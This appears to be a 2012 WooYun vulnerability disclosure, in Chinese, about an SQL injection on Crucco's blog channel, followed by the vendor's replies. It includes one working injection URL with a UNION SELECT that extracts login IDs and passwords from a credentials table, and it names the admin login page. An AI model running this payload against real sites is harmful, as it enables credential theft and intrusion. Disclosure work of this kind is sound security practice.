漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05635
漏洞标题：初刻Crucco某频道SQL注射及引起的安全问题
相关厂商：初刻Crucco
漏洞作者： kobin97
提交时间：2012-03-29 16:11
修复时间：2012-04-03 16:11
公开时间：2012-04-03 16:11
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-29： 细节已通知厂商并且等待厂商处理中
2012-04-03： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
初刻Crucco某频道SQL注射及引起的安全问题
详细说明：
博客注入点：
http://blog.crucco.com/Info.aspx?Guid=3e27e2be-e5d6-404a-b8e9-974dbd34f86c%27%20and%201=2%20union%20select%201,2,3,LoginID%20%2B%20%27|%27%20%2B%20pwd,5,6,7,8%20from%20Curcco_Login--
http://blog.crucco.com/admin/login.aspx
由于权限设置和管理方面，可能造成内网被渗透。这里就不进行了。。。。下面只截几个图
漏洞证明：
修复方案：
管理运维方面的安全意识要加强哦。。
版权声明：转载请注明来源 kobin97@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2012-04-03 16:11
厂商回复：
最新状态：
2012-04-06：此频道已经关闭。谢谢各位。
2012-04-06：程序正在检查中，稍后更新状态。谢谢各位。